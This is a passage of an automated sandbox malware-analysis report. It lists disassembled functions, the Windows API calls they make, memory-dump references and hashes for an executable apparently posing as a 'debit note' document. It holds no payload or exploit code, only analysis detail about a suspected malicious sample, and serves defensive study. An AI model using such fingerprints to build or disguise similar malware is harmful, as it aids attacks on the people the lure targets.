                                          • CreateHardLinkW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 0045D2AA
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CreateHardLink$DeleteErrorFileLast
                                          • String ID:
                                          • API String ID: 3321077145-0
                                          • Opcode ID: 49223ed515fb619a5bee3fab41eec0f0b951464039ac7af7222e30fa4423140a
                                          • Instruction ID: 6818256dd78c2cb29ac0ce267de24fb792dca3a41353b59757f5ace631f71379
                                          • Opcode Fuzzy Hash: 49223ed515fb619a5bee3fab41eec0f0b951464039ac7af7222e30fa4423140a
                                          • Instruction Fuzzy Hash: DC318DB1A00201EBDB10EFB5C945A1ABBE8AF45319F10885EFC44AB343CB79ED45CB94
                                          Function 0042083F Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00420873
                                          • __isleadbyte_l.LIBCMT ref: 004208A6
                                          • MultiByteToWideChar.KERNEL32(BBDAE900,00000009,?,000001AC,00000000,00000000,?,?,?,0042D7C1,?,00000000), ref: 004208D7
                                          • MultiByteToWideChar.KERNEL32(BBDAE900,00000009,?,00000001,00000000,00000000,?,?,?,0042D7C1,?,00000000), ref: 00420945
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                          • String ID:
                                          • API String ID: 3058430110-0
                                          • Opcode ID: 6122c04dd5dc57efc0e5b6c0779ec963bae9ccf891294cd495d8fd5d7cdcec1f
                                          • Instruction ID: f6550d230e50e909e13d2a99824cc28569674f7a7b9e5ef0daa2e7ce22e82e6e
                                          • Opcode Fuzzy Hash: 6122c04dd5dc57efc0e5b6c0779ec963bae9ccf891294cd495d8fd5d7cdcec1f
                                          • Instruction Fuzzy Hash: D731E231B00265EFDB20EF65E884AAF3BE5BF00310F55496AE4658B292D734CD80DB98
                                          Function 0045039B Relevance: 6.1, APIs: 4, Instructions: 102COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetParent.USER32(?), ref: 004503C8
                                          • DefDlgProcW.USER32(?,00000138,?,?), ref: 00450417
                                          • DefDlgProcW.USER32(?,00000133,?,?), ref: 00450466
                                          • DefDlgProcW.USER32(?,00000134,?,?), ref: 00450497
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Proc$Parent
                                          • String ID:
                                          • API String ID: 2351499541-0
                                          • Opcode ID: 953005dfd523491bc8661b2d189c1fe3a1d27544861a9947cd3b684206b02ae0
                                          • Instruction ID: 48835c6935d03606f494e5d0f95072c3389227be5880c4b08380f2331de9f088
                                          • Opcode Fuzzy Hash: 953005dfd523491bc8661b2d189c1fe3a1d27544861a9947cd3b684206b02ae0
                                          • Instruction Fuzzy Hash: F231B73A2001046BD720CF18DC94DAB7719EF97335B14461BFA298B3D3CB759856C769
                                          Function 00442A83 Relevance: 6.1, APIs: 4, Instructions: 87windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00442AC9
                                          • TranslateMessage.USER32(?), ref: 00442B01
                                          • DispatchMessageW.USER32(?), ref: 00442B0B
                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00442B21
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Message$Peek$DispatchTranslate
                                          • String ID:
                                          • API String ID: 1795658109-0
                                          • Opcode ID: 36eab9d42bd73f6f728abf92f57c3db94032fb3fd80da71d70c6aa8f6f72699a
                                          • Instruction ID: 5e5183f3b0572ad37d893cec5a7cf9421d6c1ddc4b80b1975d6d8daaa3c1acd1
                                          • Opcode Fuzzy Hash: 36eab9d42bd73f6f728abf92f57c3db94032fb3fd80da71d70c6aa8f6f72699a
                                          • Instruction Fuzzy Hash: 012126719583469AFB30DF649D85FB7BBA8CB24314F40407BF91097281EAB86848C769
                                          Function 0047438B Relevance: 6.1, APIs: 4, Instructions: 83COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetForegroundWindow.USER32(?,?,?), ref: 0047439C
                                            • Part of subcall function 004439C1: GetWindowThreadProcessId.USER32(?,00000000), ref: 004439E4
                                            • Part of subcall function 004439C1: GetCurrentThreadId.KERNEL32 ref: 004439EB
                                            • Part of subcall function 004439C1: AttachThreadInput.USER32(00000000), ref: 004439F2
                                          • GetCaretPos.USER32(?), ref: 004743B2
                                          • ClientToScreen.USER32(00000000,?), ref: 004743E8
                                          • GetForegroundWindow.USER32 ref: 004743EE
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                          • String ID:
                                          • API String ID: 2759813231-0
                                          • Opcode ID: f13b499454a1a1822ca13fc8ae6b328d463f7326d10c65fcbffa9176c03fd335
                                          • Instruction ID: 29594bdffde582d62cf8cb535202cb0f6e37f5c0e74140e0e8dac686a3932322
                                          • Opcode Fuzzy Hash: f13b499454a1a1822ca13fc8ae6b328d463f7326d10c65fcbffa9176c03fd335
                                          • Instruction Fuzzy Hash: 2F21AC71A00305ABD710EF75CC86B9E77B9AF44708F14446EF644BB2C2DBF9A9408BA5
                                          Function 004494A5 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00430626: _wcspbrk.LIBCMT ref: 00430636
                                          • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449477
                                          • SendMessageW.USER32(?,00001060,00000000,00000004), ref: 00449507
                                          • _wcslen.LIBCMT ref: 00449519
                                          • _wcslen.LIBCMT ref: 00449526
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend_wcslen$_wcspbrk
                                          • String ID:
                                          • API String ID: 2886238975-0
                                          • Opcode ID: cda1f7e16000b3d6f1552df2769fac91363fb93f1f54a3f578086acf89ecf69d
                                          • Instruction ID: 7d4d19c59aaf55394df3596c947b25f6969e765268ec3300c5285dc4bbf20b28
                                          • Opcode Fuzzy Hash: cda1f7e16000b3d6f1552df2769fac91363fb93f1f54a3f578086acf89ecf69d
                                          • Instruction Fuzzy Hash: F7213A76B00208A6E730DF55ED81BEFB368EBA0310F10416FFF0896240E6794D55C799
                                          Function 0046888B Relevance: 6.1, APIs: 4, Instructions: 80COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __setmode$DebugOutputString_fprintf
                                          • String ID:
                                          • API String ID: 1792727568-0
                                          • Opcode ID: 1ad8d8d19ebad69fc12c553a92627abd23c9aa4f6f7f42f57f8396caf8494ece
                                          • Instruction ID: 94d91137fd77379d51e6296772f15362c7f2cf1f8b16651245aa9cc134f84072
                                          • Opcode Fuzzy Hash: 1ad8d8d19ebad69fc12c553a92627abd23c9aa4f6f7f42f57f8396caf8494ece
                                          • Instruction Fuzzy Hash: 5411A1B2D0020477DB107BB69C469AF7B2C8B55728F04416EF91573243E97C6A4947AB
                                          Function 0047A26A Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 0046F3C1: IsWindow.USER32(00000000), ref: 0046F3F1
                                          • GetWindowLongW.USER32(?,000000EC), ref: 0047A2DF
                                          • SetWindowLongW.USER32(?,000000EC,00000000), ref: 0047A2FA
                                          • SetWindowLongW.USER32(?,000000EC,00000000), ref: 0047A312
                                          • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002,?,000000EC,00000000,?,000000EC,?,00000001), ref: 0047A321
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$Long$AttributesLayered
                                          • String ID:
                                          • API String ID: 2169480361-0
                                          • Opcode ID: 53dc7990cfeb01f65bcc542d15cac6368a2c86d5c8ae23ecc65d9f578e391a7a
                                          • Instruction ID: 4b457c036b32d13d4d6aa44b7b333d7b15c6210fa1ac615a770d46c951a2b689
                                          • Opcode Fuzzy Hash: 53dc7990cfeb01f65bcc542d15cac6368a2c86d5c8ae23ecc65d9f578e391a7a
                                          • Instruction Fuzzy Hash: E321C3322045146BD310AB19EC45F9BB798EF81334F20862BF859E72D1C779A855C7AC
                                          Function 00434CC9 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 75stringCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00434C09: lstrlenW.KERNEL32(?), ref: 00434C1C
                                            • Part of subcall function 00434C09: lstrcpyW.KERNEL32(00000000,?), ref: 00434C44
                                            • Part of subcall function 00434C09: lstrcmpiW.KERNEL32(00000000,00000000), ref: 00434C78
                                          • lstrlenW.KERNEL32(?), ref: 00434CF6
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                          • lstrcpyW.KERNEL32(00000000,?), ref: 00434D1E
                                          • lstrcmpiW.KERNEL32(00000002,cdecl), ref: 00434D64
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: lstrcmpilstrcpylstrlen$_malloc
                                          • String ID: cdecl
                                          • API String ID: 3850814276-3896280584
                                          • Opcode ID: 21c69cf6c29ea855f725dfe2a9cb2720d4b8dbea94fc3a7d57af4f6d050de3c2
                                          • Instruction ID: b4b7f9d7485e9dcc41445171e378d0673d7e4b3d8a31a27b28546bfa00bfc119
                                          • Opcode Fuzzy Hash: 21c69cf6c29ea855f725dfe2a9cb2720d4b8dbea94fc3a7d57af4f6d050de3c2
                                          • Instruction Fuzzy Hash: 1521D276200301ABD710AF25DC45AEBB3A9FF99354F10583FF90687250EB39E945C7A9
                                          Function 0046D402 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 0045F645: WideCharToMultiByte.KERNEL32(00000000,00000000,5004C483,D29EE858,00000000,00000000,00000000,00000000,?,?,?,00467B75,?,00473BB8,00473BB8,?), ref: 0045F661
                                          • gethostbyname.WSOCK32(?,00000000,?,?), ref: 0046D42D
                                          • WSAGetLastError.WSOCK32(00000000), ref: 0046D439
                                          • _memmove.LIBCMT ref: 0046D475
                                          • inet_ntoa.WSOCK32(?), ref: 0046D481
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ByteCharErrorLastMultiWide_memmovegethostbynameinet_ntoa
                                          • String ID:
                                          • API String ID: 2502553879-0
                                          • Opcode ID: c217391507a75a633327f3eae623a7fb2dd57c89b178c2547ebfa016f7fa05d4
                                          • Instruction ID: 24c3f219ec43f49587972b4c28f02db1d16d05b11a5808876a7c02c26e676da9
                                          • Opcode Fuzzy Hash: c217391507a75a633327f3eae623a7fb2dd57c89b178c2547ebfa016f7fa05d4
                                          • Instruction Fuzzy Hash: A7216F769001046BC700FBA6DD85C9FB7BCEF48318B10486BFC01B7241DA39EE058BA5
                                          Function 00448C3C Relevance: 6.1, APIs: 4, Instructions: 72windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32 ref: 00448C69
                                          • GetWindowLongW.USER32(?,000000EC), ref: 00448C91
                                          • SendMessageW.USER32(?,0000104C,00000000,?), ref: 00448CCA
                                          • SendMessageW.USER32(?,0000102B,00000000,?), ref: 00448D13
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$LongWindow
                                          • String ID:
                                          • API String ID: 312131281-0
                                          • Opcode ID: aa9ba785652a5e2d68973233cc9ee5be9ec2ae113b50a66827928a68bf1dc890
                                          • Instruction ID: 9d65767971b32091eca868ce8e4b461936feaca2c152e776436a997c982fc1ac
                                          • Opcode Fuzzy Hash: aa9ba785652a5e2d68973233cc9ee5be9ec2ae113b50a66827928a68bf1dc890
                                          • Instruction Fuzzy Hash: 782186711193009BE3209F18DD88B9FB7E4FBD5325F140B1EF994962D0DBB58448C755
                                          Function 00458A61 Relevance: 6.1, APIs: 4, Instructions: 71networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • select.WSOCK32(00000000,?,00000000,00000000,?), ref: 00458ABD
                                          • __WSAFDIsSet.WSOCK32(00000000,00000001), ref: 00458ACF
                                          • accept.WSOCK32(00000000,00000000,00000000), ref: 00458ADE
                                          • WSAGetLastError.WSOCK32(00000000), ref: 00458B03
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorLastacceptselect
                                          • String ID:
                                          • API String ID: 385091864-0
                                          • Opcode ID: feb2d603c895e760471213290e220df4c8c9e23c071c6cdae6f1f3a6ceb811dc
                                          • Instruction ID: 6dce411450cb473f00463c700f03c36a20fe0f69cdcaeecb298670ce0bdbd9a3
                                          • Opcode Fuzzy Hash: feb2d603c895e760471213290e220df4c8c9e23c071c6cdae6f1f3a6ceb811dc
                                          • Instruction Fuzzy Hash: 032192716002049FD714EF69DD45BAAB7E8EB94310F10866EF988DB380DBB4A9808B94
                                          Function 004368A0 Relevance: 6.1, APIs: 4, Instructions: 69windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 004368C2
                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 004368D5
                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 004368EC
                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00436904
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend
                                          • String ID:
                                          • API String ID: 3850602802-0
                                          • Opcode ID: 236e71af2ab5509716104e28957e7b962cfbcf4ba6a1ba9531cfd5eb7baefe48
                                          • Instruction ID: 15055718653181d31d708d6839b45d2b231db9ad4f5f2f8f789da6f3b04ac486
                                          • Opcode Fuzzy Hash: 236e71af2ab5509716104e28957e7b962cfbcf4ba6a1ba9531cfd5eb7baefe48
                                          • Instruction Fuzzy Hash: A7111275640208BFDB10DF68DC85F9AB7E8EF98750F11815AFD48DB340D6B1A9418FA0
                                          Function 004301F8 Relevance: 6.1, APIs: 4, Instructions: 57windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00400000,00000000), ref: 00430242
                                          • GetStockObject.GDI32(00000011), ref: 00430258
                                          • SendMessageW.USER32(00000000,00000030,00000000), ref: 00430262
                                          • ShowWindow.USER32(00000000,00000000), ref: 0043027D
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$CreateMessageObjectSendShowStock
                                          • String ID:
                                          • API String ID: 1358664141-0
                                          • Opcode ID: ad6f98361a8c00dabf9f53bae98ff29a7c8ddeda354316ac2ad0817ad8c48d31
                                          • Instruction ID: 87b955557270564ac2446a75def7de819d41fbc8528d619d8765837e6f615a12
                                          • Opcode Fuzzy Hash: ad6f98361a8c00dabf9f53bae98ff29a7c8ddeda354316ac2ad0817ad8c48d31
                                          • Instruction Fuzzy Hash: BD115172600504ABD755CF99DC59FDBB769AF8DB10F148319BA08932A0D774EC41CBA8
                                          Function 00443C87 Relevance: 6.1, APIs: 4, Instructions: 57synchronizationthreadwindowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentThreadId.KERNEL32 ref: 00443CA6
                                          • MessageBoxW.USER32(?,?,?,?), ref: 00443CDC
                                          • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00443CF2
                                          • CloseHandle.KERNEL32(00000000), ref: 00443CF9
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
